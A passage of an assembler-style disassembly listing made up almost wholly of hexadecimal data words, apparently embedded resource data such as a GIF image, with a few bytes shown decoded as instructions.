		dd 2FBCBC39h, 0BBD3B9EBh, 0C47C31C1h, 49C17C1Bh, 7C58BEBCh
		dd 0C45C5BBFh, 4FC1EC5Ch, 0BC50C4FCh, 0AF5C3AC0h, 0DC54B65h
		dd 0BC63C2CCh, 0C36C19C4h, 35C2BC6Fh, 0BC4DC2CCh, 0C74C2BC5h
		dd 64C65C1Fh, 9C25BF2Ah, 0C1AC41C5h, 0C06C18FEh, 82C71C28h
		dd 9C64C81Ch, 0C57C57C2h, 7AC09BEAh, 0DC24A36Ch, 0AB7C90C8h
		dd 94C91C8Fh, 0DC3BC51Ch, 0C95BC2BCh, 93A65C9Ah, 0EC9EC9BCh
		dd 0BCCC67C8h, 9FC3D988h, 0DA62CA5Ch, 0CA9CA6C9h, 0AACA8A08h
		dd 1BA4CADCh, 0C99C53CAh, 0D7CB3CAEh, 7CB4CAC9h, 0CB69D1CBh
		dd 7ACBBCB8h, 2B4CCB0Bh, 0CC1CBCCBh, 69CBEB2Dh,	7C3FCC0Ch
		dd 0C6EAD8C1h, 0E2CCA9D0h, 7A04CCBBh, 0CD1BD3C4h, 0CCA0ABE6h
		dd 5A06C1DCh, 0C52CBDCDh, 0C7C3ECBFh, 9CC9CCDCh, 0A07CD8A0h
		dd 0D2BF3CD0h, 0DCE0CDECh, 9D4CE19Ch, 0C4B4ACE9h, 7CDCC98Ch
		dd 0CE6C44CCh, 3CD6C14h, 8BDABE5Ch, 0BE6CF8C2h,	5DC15CF8h
		dd 0CC12CF7Ch, 0C83C70BFh, 0F7CF5C83h, 1C36C4ACh, 0D08C1DCFh
		dd 0F3CFFD05h, 3D04CE6Ch, 0CFBCDED0h, 16C08C35h, 0BD13D02Ch
		dd 0CEDA84CEh, 149D5B91h, 2D1DCCDDh, 0D21CFAC3h, 0DBCD6D09h
		dd 9D1DCD3Bh, 0FE5C6ED0h, 0D1EC1CD2h, 2ED24D26h, 8CE3CDDDh
		dd 0D2AD14CCh, 35D27D2Eh, 6C1CCD3Dh, 0D11D23D3h, 37C70D38h
		dd 0A9D4D3CDh, 0D279CCCBh, 0F9D0DD34h, 3D2CCC8Bh, 0D2DD33D2h
		dd 30BFBC03h, 9D15D2BDh, 0D0ED4BCFh, 58CF4D0Bh,	0CC5ABD8Ch
		dd 0D47D45D0h, 31D29D3Ch, 0BD40D38Ch, 0D46D05D3h, 41CF9D33h
		dd 0AB7DD1ADh, 0D2FD3DCEh, 15D48D29h, 2D22D5DDh, 0D50D6DD6h
		dd 47D53C4Bh, 1D20D1FDh
		dd 0D6FD2FD6h, 7BD60D77h, 0FCF4D6CDh, 0D64D81D3h, 71D74CF2h
		dd 29D0D7EDh, 0D82CDDD4h, 53D6BD46h, 4D76CF3Dh,	0D60D7AD8h
		dd 7CD5BD31h, 0DD6ED97Dh, 0D3FD44D8h, 1FD36D84h, 5D71D83Dh
		dd 0D7BD85D7h, 8DD97D92h, 0ED68CB9Dh, 0CF6D6ABCh, 60CCAD55h
		dd 6D0DC45Ch, 0C8BBEBD0h, 32D39C15h, 6CFCDAFCh,	0D4DC60D2h
		dd 7D07C72h, 0EDB8DA3Dh, 0C5AD5CC4h, 0A5D54D58h, 1D6BD13Dh
		dd 0D89C87D1h, 0DFCC6DA9h, 0BD31B19Ch, 4DFE18AFh, 0AB7D8AB3h
		dd 10AB5DD3h, 1C8CAD9Dh, 0CEFDCDBDh, 0D5CC1CC2h, 1CB8DDFDh
		dd 0CB4DE2DEh, 0AEDE5DE4h, 0ADE8DE7Ch, 0DEBDEACAh, 0A2DE4CA6h
		dd 8CE8DD7Dh, 0DA29D6D8h, 0CFDD0DF4h, 5DA7DD39h, 0CCEDC3DFh
		dd 0ABDDDB9Ch, 7CCFD81Dh, 0D0EE01DFh, 0E1AD6DF2h, 0DCE2DFACh
		dd 0A35DF9DFh, 2CD65DE7h, 0ECD5D78Dh, 0CF6DC4DBh, 16DBBD8Fh
		dd 1D75D5EDh, 0DC5E16DCh, 55DB9DB1h, 0DADCFFDh,	0DB2D1ED0h
		dd 0BE22DBCh, 4E16D12Dh, 9D6E15D5h, 4ED4CE0Fh, 0A9CED49Dh
		dd 0D37D8CD3h, 43DA1D9Eh, 0DDF1DC3Dh, 0D6CDB1DFh, 0C9DC6DA5h
		dd 4D5BD22Dh, 0DAED7AE3h, 0D5CE4E36h, 0BD96DEA9h, 0D99E02D9h
		dd 4BD85D50h, 0BE25E37Dh, 0E3EE21DBh, 6FE50E31h, 7E50D9FDh
		dd 0D12D24E5h, 7EE43D2Ah, 0FE06D66Dh, 0CCBC12D5h, 0DADA8E54h
		dd 2DDECC5Ch, 0DA4D4CD3h, 0F6D88E33h, 0EE72DA6Dh, 0E06E39D8h
		dd 59E76E38h, 0EE4CE73Eh, 9E40FEE4h, 0D79E4BD4h, 3BE6ED62h
		dd 0CE2CDF3Eh, 0CEEE69DCh, 0A3D80D1Ch, 8D7FD93Dh, 0D25E32E5h
		dd 8BE73E52h, 9D94E35Eh, 0E41E4BE7h, 8FD9BD48h,	5E7CD82Dh
		dd 0D64E38D9h, 0E49E9Eh, 9E6DE89Eh, 0E3CDB5E2h,	0EDD0AE1Bh
		dd 4DB3E14Bh, 0EAFD0CD0h, 0A7DB0DBCh, 0CEB0EAAEh, 0C44C20DAh
		dd 0A9E56E5Fh, 0FEB7C37Eh, 0EB5E6EDBh, 0C3DED9D3h, 1B4EE07Bh
		dd 0EC4A35DDh, 1BC97CD9h, 4EC8C94Dh, 0A33DD9B3h, 0A3B8FECDh
		dd 0CDE2DEEEh, 0CC2ED4C7h, 0D7BA0BF2h, 0BED6CB3Eh, 0EC2CBBEDh
		dd 0C1C94EDEh, 0FEE1E6BBh, 0CE5E2FC9h, 36ED1A05h, 5D34CD8Ah
		dd 0E0DEDDDEh, 0D8EEAA8Dh, 9B7BDEEDh, 0DADEE4A8h, 0B2C37D28h
		dd 0DC4DDBEh, 0EFBD0FD9h, 87EA9EB4h, 3C80CFEDh,	0D98EBEC7h
		dd 0F0BC6CADh, 8BFFDFEAh, 0E75E92E9h, 72E8ED28h, 1E9DD78Eh
		dd 0D70E7EE7h, 0A5EFCD5Ch, 78CAEF5Ch, 0E41D56EFh, 10D9EE14h
		dd 5D91E6DCh, 9E62D3FEh, 0E42E46DCh, 0DCF27F18h, 0E8E2D68Eh
		dd 0E35EA1F1h, 8BE3AE44h, 0E32E60Eh, 0F34EA5E7h, 8CE79E3Dh
		dd 4D68F09Eh, 0EF0F0BCAh, 4E9FF35h, 0FE74DC0Eh,	0F34E8AE8h
		dd 70F2BE4Dh, 0EE85E5ADh, 0CA4F1CC9h, 63C7DA61h, 5EABCE3Eh
		dd 0D57E27F4h, 85E1CF59h, 0BC43DAFEh, 0F59D4AE9h, 2EF1BE0Ch
		dd 2A32BA6Fh, 0F4BE05EFh, 1AC7BEE5h, 0AAF89C4Dh, 0F1A9D9EDh
		dd 6BF16A31h, 0FB96A8CFh, 0DE3F75F2h, 0E9F79ED3h, 28FECEDDh
		dd 0F7DF7CF5h, 80BB2E87h, 5DECF81Fh, 0F41A60F6h, 0A9EE6F86h
		dd 9F8BF66Dh, 0DCEF51CAh, 0E0C91F8Fh, 3BCFF93Eh, 0F96B79EEh
		dd 0A6F77C9Ah, 4F9AF8ABh, 9C4F7EF9h, 8CF9FA01h,	0EAAFF83Fh
		dd 0F97FA4F1h, 89944F7Eh, 2FA9F70Fh, 0DAAF1CC2h, 87FA0FAFh
		dd 8909982Eh, 0BC3FB3FAh, 0AEB7DEF5h, 6FAAFB9Fh, 0FBEFB2FAh
		dd 0C2F95C65h, 5FC4BAFFh, 0DF0BADFCh, 0AAF05DC1h, 0FEB6C59Eh
		dd 0BC23FC8Eh, 0C7EDF9F7h, 4CE2DD5Eh, 6FD0C46Ch, 0FD8FCAABh
		dd 0DCD7DD59h, 1FD9C1EFh, 0F92FC0FDh, 0FDC88E65h, 9C41FDCCh
		dd 0A8EFE1C7h, 77FD7FDBh, 7FCEC33Ch, 0C66FEBC7h, 0F7949FA6h
		dd 1FD5F06Eh, 0FF2FEEC6h, 88C9CFF3h, 9100A56Fh,	8240DFEFh
		dd 20705h, 0C1E10FF0h, 32170684h, 6250B824h, 0D0F8843h
		dd 5198C45Eh, 1D8E46E3h, 19047E3Dh, 9248E452h, 0A3863925h
		dd 0B85C2E85h, 216CD26Dh, 9A4E1694h, 11205534h,	9389BC5Ah
		dd 9854EA2h, 69BC3673h,	0A250E852h, 451E8D45h, 4AA5123Ah
		dd 3A112E96h, 0E6B516DBh, 0AD49813Fh, 559AC55Eh, 17AE56EBh
		dd 0F96CAE97h, 964C4012h, 0ED55F335h, 5AED569Ah, 7E916DB6h
		dd 66362A6Dh, 0ED6EA9CBh, 0D79BC5DEh, 4FB0DC2Dh, 8A9B86A3h
		dd 0C260EF56h, 0E47F0D85h, 0D82C74EBh, 3F1D87BAh, 0B1383C86h
		dd 2380965Ch, 999CC65Fh, 0D2BF64EBh, 0D6FE35B6h, 0E8F45A1Ch
		dd 4B179C90h, 0F55A9D25h, 0E7A682EAh, 5B1D665Ah, 2DD76636h
		dd 9DC6CF3Fh, 966BB0BBh, 6FF75B7h, 36F796CEh, 1F8382D8h
		dd 0B8746E47h, 9DCDE4EFh, 0FC5E1D0Bh, 1DEA74F9h, 9EAE07A3h
		dd 0EBC13B5Dh, 0EF6BBDDBh, 0F3FC5DFEh, 1FCDE3F0h, 0FCFA0E5Fh
		dd 0D9E9D9FAh, 1EEDC7BFh, 0F2D5FCFEh, 6D17DFE9h, 0CBFEFF1Fh
		dd 3FFFF9FAh, 7003FCCh,	2404BD4h, 252BDC0Fh, 8B9B14B0h
		dd 6C1F0439h, 270840CBh, 0A424AD4h, 42CA4C2Fh, 4A24370Ch
		dd 243F0E43h, 471043C9h, 0B8C14C44h, 3D4DEA60h,	49045712h
		dd 345F1644h, 671845C8h, 17C67194h, 4571B46Bh, 711C731Ch
		dd 0F43F1E47h, 830DC7F1h, 2242F214h, 48F09C8Bh,	72541F24h
		dd 749B03C9h, 0A3284072h, 2A4A6FFCh, 4AEF2BF7h,	92D4B316h
		dd 9CBB2B44h, 54CF378Fh, 13487304h, 0C1CD3AFBh,	933C8132h
		dd 5CC8CAC1h, 0E32FC293h, 4E6FFE3Ch, 0F3B3C73Ah, 0D4F2EFCEh
		dd 0FB3E3B73h, 404FEECCh, 507413A9h, 0CA4DAF2h,	44934335h
		dd 3D454514h, 8A31C9CAh, 52087222h, 68BA768Dh, 0D5268ED2h
		dd 834D2374h, 34D1B30Ah, 5294CCE1h, 0D4FD3AC3h,	15308CD2h
		dd 569B538Ah, 3429950Dh, 52B5241Bh, 55354153h, 0CA808621h
		dd 815F5755h, 9ED2287Ah, 0D7961A2Ch, 0F60A2361h, 12828720h
		dd 8F625836h, 685A362Dh, 0D95635A1h, 544C1758h,	0F20B4F4Dh
		dd 0BF4C57A9h, 54DAD6F5h, 0D2954559h, 0B705956Eh, 0E5D75F53h
		dd 0AD6E5D55h, 74DDF785h, 46AFA5DFh, 17355957h,	0D5D773DEh
		dd 25605BB5h, 7454B5BAh, 27B7E5D9h, 1715F558h, 0DDE966A3h
		dd 18885F75h, 795ECF86h, 6117ED7Bh, 37F62B7Ch, 0C56D84DFh
		dd 198F6358h, 90E29726h, 0E2770573h, 0F5A5452Ah, 3E0B8DD5h
		dd 337E64B7h, 78E637DEh, 0E4B8262Dh, 197E1172h,	95F178E4h
		dd 0CD775AB9h, 0D717B3FEh, 55C62169h, 5919258h,	414E5F58h
		dd 9C6917FDh, 0DFB995B9h, 0F835A567h, 5D9366E1h, 53946239h
		dd 45E7EACCh, 0B89ADBDBh, 0FA9A4B5Ah, 3BBADD6Bh, 0DD026CCBh
		dd 6D5B4Bh, 0EDCE33E5h,	0FB950AFBh, 0CEEBBA37h,	0E7BC4B8Dh
		dd 0BDDB5B0Eh, 0CDCA8DAFh, 5BE6FF47h, 2361C156h, 9F6C70BCh
		dd 0FC71337Ah, 0BD7C76F4h, 6D4F23BBh, 1B47CA72h, 0B5CBA68Eh
		dd 672C5C36h, 737C4264h, 0D32AAF1h, 199C969Dh, 0F2E9F45Bh
		dd 0B9A52691h, 1C3CFC18h, 5B8A0656h, 375AECF5h,	0B6B1C4FDh
		dd 0DAF50741h, 0A07D5F6Dh, 8B1702AFh, 618670B8h, 9DE077E5h
		dd 741F2813h, 211E2414h, 89719CE2h, 0C7AE61F5h,	0B7ED7B3Eh
		dd 0EF7BBEE7h, 7C3F07BFh, 0BF27C7F1h, 47CFF37Ch, 0D7F57D3Fh
		dd 56179F27h, 801C59E0h, 87419DCFh, 0C14DE417h,	0F7FD7F3Fh
		dd 0FF7FBFE7h, 6007FFh,	2403805h, 780D016h, 0FE026044h
		dd 640B815h, 0E115501Ah, 3EACC950h, 0C0951C47h,	0C41782C3h
		dd 0B8350660h, 0D0760E41h, 61041F83h, 42384508h, 84D09612h
		dd 0A614427h, 7CC21855h, 0F01D1058h, 62832088h,	0D4741642h
		dd 0C43786D0h, 0B8750E61h, 0D0F61E43h, 62043F87h, 44388510h
		dd 88D11622h, 12624447h, 0F892B889h, 4F89D131h,	0A5146284h
		dd 562A4538h, 0C4578AD1h, 0B8B51662h, 0D1762E45h, 63045F8Bh
		dd 1088A918h, 8CD19631h
		dd 1A634467h, 3646B8D5h, 6D8C91AEh, 0E51C6384h,	0D63A4738h
		dd 0B46F8D51h, 0B8F51E63h, 0D1F63E47h, 63F4788Ch, 48390520h
		dd 9011DA42h, 22644485h, 2C48B915h, 8F91921Eh, 5246484h
		dd 9A3B48E9h, 0C49792C3h, 992D2664h, 0D2764E0Dh, 65049F93h
		dd 4A394528h, 93F29652h, 26228496h, 564AB94Dh, 0AC95D2B6h
		dd 29212544h, 5A4B4759h, 0C0F71D63h, 0B9752E65h, 0D2F65E4Bh
		dd 6604BF97h, 0A9FE8530h, 6358764Bh, 0A548E61Ch, 4C31C725h
		dd 99D33666h, 3165ECCFh, 59C83963h, 0D91CD1D2h,	9A3E47B8h
		dd 584C8AF1h, 4DF9BC2h,	39C53867h, 0D396724Eh, 6734E79Ch
		dd 0CD15E26h, 1B234881h, 3C86CCA9h, 538CD1E6h, 0F7106238h
		dd 0F53E67C4h, 0F67E4FB9h, 4FF9FD3h, 711D3FE8h,	0C3DE760Ah
		dd 2594C81Ah, 0D98FC00h, 14E3E476h, 4445F8A2h, 8A513A25h
		dd 17A2D456h, 354668C5h, 8E88D1BAh, 60F914E2h, 689D4207h
		dd 0A3CC718Eh, 0E790CD9Eh, 52BA543Ch, 0A5D4B696h, 4C69852Fh
		dd 98D33A65h, 319A3CAh,	133BE905h, 0FC7347EAh, 0FD1019A3h
		dd 41923105h, 0C310638Ch, 6A4547A8h, 54BA9552h,	0A9D536A6h
		dd 516A454Fh, 66D1DA87h, 4CA443FCh, 0B3CC734h, 8C7C9671h
		dd 55FABC3h, 3AC5586Bh,	0D596B256h, 2B3567ACh, 55510B57h
		dd 0A153529Dh, 2BE9EC7Dh, 6A8C9A22h, 771E2354h,	0F55E6BC5h
		dd 0BE57FEBAh, 7FAFD5F6h, 0D55F6C05h, 44648D51h, 4D5615F4h
		dd 919B49A5h, 0D636B44Dh, 2C858FB1h, 0F71F359h,	0ADA3FE7Ah
		dd 1F2B7C93h, 508F71CDh, 0F21FF504h, 45686D00h,	96D25A3Bh
		dd 45A7B4D6h, 0FB556A6Dh, 22FC620Fh, 0EC4D9614h, 1021C624h
		dd 0B6D6D6D5h, 69ADC5B7h, 498E32A9h, 70A776C0h,	762847CDh
		dd 0B4E40C41h, 5D97B5F6h, 3B655649h, 83CCE40Fh,	2B75BEB7h
		dd 0DC3B394Fh, 2D8AA4ABh, 71C5D8C4h, 498F7953h,	0AE2B43ACh
		dd 7A3ACB62h, 563F5C8Bh, 0D9B8E73h, 917E2E05h, 0C3A8790Fh
		dd 6F85EFBDh, 5F3BE57Ch, 0BDE002F7h, 7E6FA5F6h,	0F75FBBF5h
		dd 0BF1F23CAh, 9F7685C0h, 5849D9B8h, 58F22A83h,	0BC158247h
		dd 0D8370660h, 8460AC1h, 613C1F84h, 1D78570Ah, 3587FDFEh
		dd 0F3485BC6h, 0B1BD11CAh, 0CC3C85F8h, 97120DF1h, 4627C4D8h
		dd 0C4B8A71h, 98B06F80h, 315937C4h, 633C5442h, 0D8971AFEh
		dd 85D8F21Ch, 44EC042Bh, 0B3F8166Ch, 63AC88EBh,	218E3001h
		dd 37ABD913h, 2F643209h, 0FF0DE19Ch, 8FFB356h, 21762B85h
		dd 79571AE2h, 0F16E2EC6h, 656CB38Ah, 0C6F89F2Eh, 1331DE39h
		dd 79555C7Bh, 671AC38Ch, 0D59A7346h, 0A33666BCh, 78D60019h
		dd 7CE59C33h, 0D9B738E6h, 0F34E77CEh, 0D3E1E438h, 0AE174726h
		dd 2E05759Ch, 6D0DF1D8h, 87D0DA14h, 15A27446h, 1800687Dh
		dd 6E8527FAh, 3D25A2F4h, 837F43E9h, 4548B81Dh, 0E6325798h
		dd 0CCC3B07Fh, 9B350678h, 5266FCE3h, 0A7D439BBh, 0D838F35Eh
		dd 62E867C1h, 48A1BA56h, 0F1E22C45h, 0DAD6BA8Dh, 75C6B7D6h
		dd 800D6FAEh, 0D71AF35Ah, 0B075D6BEh, 6FD75D85h, 991623C4h
		dd 0FFA6F56Eh, 74680931h, 80D01ADAh, 3DA5B476h,	3B576A6Dh
		dd 368000DAh, 6D7DB5B6h, 0DBDB776Bh, 0AAC6B6D4h, 5767D1A1h
		dd 0A41439FFh, 87AD0588h, 0FE60EEBDh, 0B6DDDB03h, 0E5BB3606h
		dd 0C46F8D5Dh, 0E9A1482h, 5D963647h, 0A34071D5h, 7806FF18h
		dd 703E05C0h, 1C0382h, 0C1F83F06h, 82F0ADFFh, 1E1DC37h
		dd 5838C687h, 763EDE4Dh, 5E88E38h, 0BDE7BA45h, 0FBC6BAF1h
		dd 8471D26h, 6F5DE7C7h,	0A7BBE050h, 3437E093h, 9672B194h
		dd 2FE5DCB7h, 1CB3987h,	2B99F2D0h, 0C73126E3h, 1E61CE79h
		dd 355F5671h, 23871690h, 722E35C6h, 0E8BD17A2h,	0C94570DFh
		dd 7DE03B11h, 3A19B65Bh, 0A5D47A87h, 379D753Eh,	0E8CDDF43h
		dd 9BCBCFADh, 239A3DD9h, 500AF1Fh, 8C116A27h, 0ECC34464h
		dd 0DA7B4767h, 0B676BED5h, 6FEDDDB7h, 82327B67h, 804E0B51h
		dd 0EF5AB0E2h, 0C18A29E9h, 0DDF7BE0Eh, 7C077FEFh, 783F05E0h
		dd 0F0DE17C2h, 29C62F7Eh, 27E7EE96h, 9C12A337h,	77A044E0h
		dd 57CA7931h, 0C797F2DEh, 0BF35E67Ch, 1E67CE79h, 7C80AE17h
		dd 0F5AAAA25h, 22FE17ABh, 7D45B9DCh, 0DA2F55EAh, 0D935AE62h
		dd 4369E75Bh, 0B089514Fh, 0B7141DD7h, 75EE7DC7h, 0F7DE7BBFh
		dd 7BFF7DEh, 0F21EF3Eh,	347C4A8Ah, 0F55CA9A4h, 0EAA10A29h
		dd 0F9DF37D5h, 2174F5A8h, 8A0ECF14h, 6DE811F3h,	0B2358734h
		dd 0A26ECDB9h, 7DFFBD3h, 0A9C3F87Fh, 141E82CEh,	69F0F79Eh
		dd 8851073Dh, 9FD40442h, 0FC7F87ECh, 0F6FF3FE5h, 0F8FEDFBBh
		dd 0E562E81Ch, 57AD0D91h, 0DC7AEB9Ch, 26CA5BA4h, 0AE25EAAEh
		dd 32604032h, 0C05404C0h, 6C06405h, 0BAC9C074h,	3FE07587h
		dd 92A6BBBCh, 0A25CA952h, 268298A9h, 0DC05404h,	987187BCh
		dd 0BFFB0E40h, 4EA4BA3Ch, 4257C12Ah, 0C1524D41h, 16C16415h
		dd 7264A4CCh, 24D418C1h, 5741A414h, 941124D2h, 0C1D41CA4h
		dd 0EBA39C1Dh, 41FC1E3h, 228C20C2h, 22C2141Fh, 241CC234h
		dd 0C25423C2h, 2641C425h, 7C27C274h, 0C28424A4h, 3642A429h
		dd 2AC22792h, 42CC2C4h,	0C2E09FA3h, 2FC2F42Eh, 1430C304h
		dd 0C32431C3h, 33C33432h, 5434C344h, 0C36435C3h, 80C35436h
		dd 3B0000h, 0
; ---------------------------------------------------------------------------
		inc	edi
		dec	ecx
		inc	esi
		cmp	[ecx], bh
		popa
		mov	bh, 1
		jo	short $+2
		retn	0
; ---------------------------------------------------------------------------
		align 10h
		dd 80FF0000h, 0C0C08080h, 0E1FFFFC0h, 0FFFFFFh,	0
		dd 4F92100h, 7000A01h, 2C00h, 1B70000h,	3000070h, 0DCBA78FEh
		dd 49CA30FEh, 0EB38BDABh, 60E825CDh, 69648E28h,	0AEAA689Eh
		dd 9F019B6Ch, 6D74CF2Bh, 0A7AE78DFh, 0C0FFBC70h, 2C4870A0h
		dd 9F0460CAh, 3A6CC971h, 8015D09Fh, 0AF465490h,	0B76ACD8h
		dd 0DCAD5244h, 2E4C78B0h, 0AAD4A64Fh, 0BB6ECD79h, 0F834DE99h
		dd 0EFDBAF4Dh, 8D5A7423h, 80FFFBEFh, 737B710Bh,	88878681h
		dd 497B7A59h, 908F8E89h, 85848346h, 98979691h, 8D8C8B27h
		dd 0A09F9E99h, 308C931Bh, 0A8A7A6A1h, 959C9C82h, 81AFAEA9h
		dd 0B0ADACA3h, 9B6EB6B5h, 0BCB75FABh, 0BAB9B8BDh, 0C4C3BEA5h
		dd 9DBAC05Bh, 0CC3D8EC5h, 0D0CFCECDh, 0D4D3D2D1h, 0D8D7D6D5h
		dd 0DCDBDAD9h, 0E0DCABC8h, 0E4E3E2E1h, 10DAE6E5h, 0ECEBDE3Dh
		dd 0F0EFEEEDh, 0F4F3F2F1h, 0F8F7F6F5h, 0FCFBFAF9h, 0C2DFFEFDh
		dd 47FB1D04h, 83C1A0B0h, 5C2A1308h, 0BEE1B0C8h,	4A1CB280h
		dd 0A2B1489Ch, 33188BC5h, 0FE3613B2h, 8FC7A350h, 1C8A4320h
		dd 4443F179h, 0AA532892h, 0A5B2C95Ch, 633096BAh, 33499CCAh
		dd 389AC9E1h, 39DCEA73h, 9FCF26F3h, 750A8340h, 808F73E8h
		dd 0C0548A3h, 0A9B4CA5Dh, 0D31D5253h, 0B5402D1Ch, 4FA2816Ah
		dd 1ADD6AB3h, 0AB00A8B2h, 1D56C201h, 0D9AB9510h, 7A1768B3h
		dd 6C402AB5h, 0D34A0055h, 974B9DCAh, 56AFCFA0h,	5B2552F3h
		dd 0BFDFAFB7h, 0DB2EEF1h, 5C2F201Bh, 2B1388C0h,	0B0B83C16h
		dd 238AC3D5h, 0B8CB964Bh, 6FC75B6Ah, 0CCDE4EE3h, 1DDE9D9h
		dd 0D592AD8Dh, 0E9B4B9DCh, 12A96B9Dh, 0B4FA3B76h, 0B134D7EBh
		dd 77AD0002h, 0B8D86934h, 5AC48B73h, 0B2017685h, 1EEB6F70h
		dd 0EF22DC4Eh, 1EAFB32Fh, 39BCCE2Dh, 9472E3C5h,	0DD4E9F3Bh
		dd 0C2805966h, 6EDF6BABh, 0ECD1BA0Fh, 0DF8BC3DCh, 0F9BC7D78h
		dd 0A3BCF3F3h, 567ECF5Fh, 0DDF0F7FBh, 3F4F8FA9h, 0F8FAFCFCh
		dd 0CFCFDFA9h, 0FEFEF8BFh, 0F6E200FEh, 9A04805Fh, 534A6036h
		dd 651E5544h, 0E0B26D43h, 54FE0F41h, 95133314h,	0EB825035h
		dd 86924844h, 7A3F5F2h,	93B48487h, 3E21860Bh, 0D747C727h
		dd 86494881h, 4985D2Ah,	0E5D9A88Bh, 560E4661h, 2A4CA1F4h
		dd 5420A1CAh, 0C688DC5Eh, 0F901C88Fh, 0BE0949E3h, 43914554h
		dd 8EA4190Ah, 6144BC93h, 0F91E2F89h, 322489C5h,	3D94A4B9h
		dd 9665493Ah, 0E492524Ah, 0E95E4687h, 8C711224h, 653AA189h
		dd 9208B9A6h, 0E4994E40h, 89BE4F8Bh, 8E41998Ch,	46962748h
		dd 89E6B96Ah, 0A7094652h, 592A479Fh, 0BE779CA5h, 548F6133h
		dd 8D651A26h, 8DF94E88h, 9A02559Fh, 4290A0E8h, 7F9F2949h
		dd 2925B9BAh, 0E9AA2E96h, 4A5699A7h, 298A8A4h, 94A3A3EAh
		dd 0AAA9EA9Eh, 667AB29Ch, 0F8DEA788h, 3AB2A3E8h, 0A1A5E92Ah
		dd 0A829C916h, 66E8D6A9h, 6A56B797h, 5E0B88ABh,	5FABE24Ah
		dd 24FAFE42h, 1AD6A22Bh, 8CD9FE8h, 9FAE2B6Bh, 0A9A92ABAh
		dd 2A9B028Ah, 0D4026493h, 4E2BAF2Dh, 149C29EBh,	0B9642AAAh
		dd 6C7B0A23h, 0BB428A15h, 4ADCAEECh, 989A2EABh,	0B66919B2h
		dd 2A4BDEEDh, 1B7ECAAAh, 19C783E8h, 0F9B42ABBh,	0BFAD246Eh
		dd 0AC3B06B1h, 0CB8AB0B5h, 82E6A96Ah, 0EA970CBh, 0BED50C17h
		dd 0B03C56C0h, 8BAF167Bh, 0CEA1AE5Ch, 0D6B3A9D9h, 302F7AD6h
		dd 2E9C831Eh, 1C4E99B8h, 7707B158h, 0ADBAAFBAh,	0ABF31C42h
		dd 0AD7C6B2Ch, 5CDB33C9h, 8716C4ADh, 5B533ACh, 0CFEDB9B7h
		dd 0F3CCDB20h, 0CD32AC2h, 27BCCE5h, 0E2B5F43Dh,	0BD723D4Ah
		dd 9F2D2F58h, 5D466682h, 966BB3F5h, 60AFF359h, 9AB2D9D6h
		dd 0B3BA360Eh, 0CCA2F197h, 0A2E4BF25h, 6E9F71FDh, 95B66C23h
		dd 279DC262h, 0DDBF46CEh, 9248D7F0h, 62B3B7DDh,	0B3EC3BD2h
		dd 774DDB88h, 6D9B6C30h, 8F24DAA7h, 11A1A579h, 10FCAEFEh
		dd 93D2394Bh, 0FA3380B9h, 0F8E6F993h, 3E796778h, 1445ABA0h
		dd 0E9F7A57Bh, 0D7A93DF9h, 0B0816073h, 0EC7AF64Bh, 0FB3603B4h
		dd 4B33ADADh, 2A26495Eh, 0A1C53B94h, 8E512B13h,	0BA94BB5Eh
		dd 0FCA39BD7h, 33AEF034h, 0F0EFCDEFh, 0F4ACCF40h, 0FCBEB338h
		dd 0AF39DDE1h, 0B7D77A7Bh, 9DF77C78h, 0E6B97F3Fh, 0FFE9A36h
		dd 48C3E4E1h, 162A3CBAh, 5C85B98Fh, 0BD083982h,	256D76CBh
		dd 0A9DEB0A1h, 1B789E27h, 7BA5BF6Eh, 8C92DF93h,	0A964B796h
		dd 638F166Eh, 87270157h, 0EFC9B3C0h, 0DBF24D4Ch, 0A6C4C2B1h
		dd 4C8A09C2h, 592C402h,	0C43FF7DDh, 774D4DE9h, 5CCC0E7Bh
		dd 51A6B2E6h, 6B47522Ch, 66C6DE96h, 0D7D6C42h, 96D42E54h
		dd 2B361F02h, 5269B585h, 0E41A7B54h, 0FCBA3548h, 3E8530BDh
		dd 4AB06022h, 55A3586h,	0D34565ADh, 63C8759Eh, 0CC759237h
		dd 0D64B2170h, 0B026269Eh, 0FE114145h, 22B33288h, 43847506h
		dd 79EAFE2Ch, 1498F2E8h, 7ABE25C9h, 0F0870B95h,	0AD115C72h
		dd 61C1B0C6h, 0CC6A6B51h, 45FF0299h, 0C431F447h, 1A644427h
		dd 0C2967B1Bh, 8F71B616h, 199ACC24h, 0A82C88B9h, 0BA86B20Dh
		dd 8EA0E193h, 55783C81h, 0C34967CFh, 0F69D1516h, 3235A0C6h
		dd 9C3C3790h, 0A3B2D51Dh, 90120A3Dh, 21A28B7Fh,	24C8A659h
		dd 7A9471EAh, 0F924D594h, 21B2BE4h, 0BCAD6A2Dh,	68751A19h
		dd 0AAE250C9h, 0D9CC958Ah, 4A588F25h, 7E051239h, 1B577B8Ah
		dd 38C038AFh, 2B716D5Ah, 6F04DC4Ch, 0A1FAABE8h,	53076FC9h
		dd 0C6C4D81Bh, 8AA244A3h, 604BAA7Eh, 0C5681ED8h, 4BCD826Ah
		dd 32176C53h, 6FC065C7h, 0E06E0969h, 0B6FCD79Ch, 0D77C194h
		dd 0C97F7A4Fh, 67CC71A4h, 8D1E1A0h, 0E1CCF19Eh,	1AE77CE9h
		dd 24B1967Ch, 409DACFEh, 81BB72B5h, 52CF41Ah, 3A305EC5h
		dd 49D2FA2h, 5DFE7C14h,	371A5F51h, 46894FA4h, 151678CFh
		dd 0F4594691h, 928635D0h, 59134458h, 0C9D256F0h, 7AD22217h
		dd 45E71519h, 143DB7B9h, 1B50D495h, 15475F15h, 6E8DD2DAh
		dd 6BE9A6B2h, 4A6F4491h, 0E311953h, 0A93D4044h,	2DD8F046h
		dd 77106939h, 11605D46h, 0C6B049CFh, 107AA9E1h,	0E72B290Ch
		dd 2DC0C117h, 74678433h, 0B7F551A2h, 306DFE45h,	20A4D95Eh
		dd 40784106h, 9D90EE55h, 521FD402h, 0B4414AB1h,	33AB9582h
		dd 46FAA305h, 9854281h,	94BB66ADh, 0DAF28B98h, 2AED7954h
		dd 21DC9096h, 33A72311h, 972D218Ch, 0A322CC7Eh,	63C5E7B6h
		dd 89A1AF2Ah, 752464FDh, 0A6B9D009h, 0A58C6C33h, 96C7565Ah
		dd 95D51E47h, 2C83195Fh, 0AE16E73Ah, 68528198h,	122CFC0Fh
		dd 432F6B57h, 5589CB46h, 0A6F4E33Bh, 15C8B456h,	74A8B3D5h
		dd 0E61154EDh, 0B65A77CEh, 295327B0h, 0CA6B390Fh, 63752DABh
		dd 26B4FE30h, 0B5A456C7h, 9357065Ch, 0C652EDC6h, 59459B74h
		dd 93691726h, 452DE5BDh, 75A9C9E9h, 0FBBBAE36h,	6960CF27h
